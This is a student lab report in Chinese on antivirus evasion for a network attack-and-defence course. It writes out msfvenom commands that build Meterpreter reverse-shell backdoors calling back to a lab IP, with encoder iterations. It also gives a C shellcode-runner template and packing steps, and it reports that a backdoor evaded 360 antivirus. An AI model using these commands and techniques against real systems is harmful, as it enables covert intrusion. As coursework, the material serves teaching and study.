2018-2019-2 网络对抗技术 20165236 Exp3 免杀原理与实践
一、实践内容(3.5分)
1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
附:基础问题回答
(1)杀软是如何检测出恶意代码的?
答:根据代码是否会对电脑系统、文件等做出不好的行动,来判断该代码是否为恶意代码;
在以前检测出的恶意代码的基础上,会留意与之相类似的代码,来判断。
(2)免杀是做什么?
答:一种能使病毒木马避免被杀毒软件查杀的技术。
(3)免杀的基本方法有哪些?
答:加壳改壳:在加壳的基础上进行修改;
加花指令:加花的原理就是通过添加加花指令让杀毒软件检测不到特征码,干扰杀毒软件正常的检测;
改程序入口点:修改程序入口点。
二、实验内容
任务一 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1、使用msf编码器生成后门程序的Virscan检测结果
在实验二中使用msf生成了后门程序,使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST
=172.30.0.142 LPORT=5236 -f exe > 20165236_backdoor.exe:
使用virscan扫描编码完的文件,结果如图:
使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST
=172.30.0.142 LPORT=5236 -f exe > met-encoded10.exe指令进行十次编码,生成可执行文件:
将可执行文件复制到主机桌面上:
使用virscan扫描编码完的文件,此文件有28个引擎报毒,表明十次编码后其效果仍然不是特别好:
2、生成.jar文件夹
使用msfvenom -p java/meterpreter/reverse_tcp LHOST=172.30.0.142 LPORT=5236 x> 20165236_backdoor_java.jar指令,生成jar类型的后门程序:
扫描结果如图:
3、msfvenom生成php文件:
使用msfvenom -p android/meterpreter/reverse_tcp lhost=172.30.0.142 lport=5236 x> 20165236_backdoor.php指令:
再次扫描后结果如图:
这次只扫描出一个引擎报毒,说明一定程度上起效果了。
4、veil-evasion
安装veil,安装veil的时候花了不少的功夫,网太慢了,经常卡顿,下载成功了但是install的时候一直出现错误等等;
首先输入sudo apt-get install veil,结果安装失败:
百度一下解决方法:
执行git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/
cd setup
setup.sh -c
结果仍然安装失败:
重新输入:echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" >> /etc/apt/sources.list
sudo apt-get update
sudo apt-get install veil-evasion
原因可能是虚拟机内存不够用了,关闭虚拟机重新分配内存再重启即可,然而反复拾了多次还是同样的提示
错误我真的不知道该怎样解决了??
5、利用shellcode编程实现免杀
输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.0.142 LPORT=5236 -f c,
用c语言生成一段shellcode:
然后创建20165236.c文件将shellcode代码注入,代码如下:
unsigned char buf[] =
"复制之前用msf生成的buf"
int main()
{
int (*func)() = (int(*)())buf;
func();
}
使用virscan对将生成的20165236.exe文件进行扫描,结果如图:
任务二 通过组合应用各种技术实现恶意代码免杀
1、通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀的目的
2、实验免杀截图:
任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1、免杀方法:先用msfvenom生成shellcode(任务一中有同样步骤),再使用压缩壳和加密壳进行加壳;
2、电脑的杀软名称与版本:win7,360(11.5.0.2001)
与另一电脑回连成功:
免杀结果:
三、实验过程中遇到的问题
1、安装veil过程中遇到如下所示问题:
经查询后得知如果直接执行sudo apt-get install veil,则有些包会下载安装失败;
解决方法:提前安装这些包,运行如下命令:
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/
cd setup
setup.sh -c。
2、任务一veil-evasion时遇到如下问题:
解决方法:虚拟机内存不够,重新分配内存再重启即可。
四、开启杀软能绝对防止电脑中恶意代码吗?
答:我觉得开启杀软能够在一定程度上防止某些恶意代码,但不可能是防止所有的恶意代码。毕竟计算机系统总会有各种各样令人想不到的漏洞,在大家看起来十分安全强悍的杀软总会可能被更加高级更高强度传染性破坏性的病毒所突破。
五、实验体会
本次实验是网络对抗第三次实验,相对于前两次来说稍微有点难度。尤其是其中veil-evasion的安装过程十分复杂,其中遇到了许多问题,我也查阅许多资料才最终解决。同时我也参考了一些学长的博客,取长补短,进而顺利完成了实验,自己也从中获得喜悦感。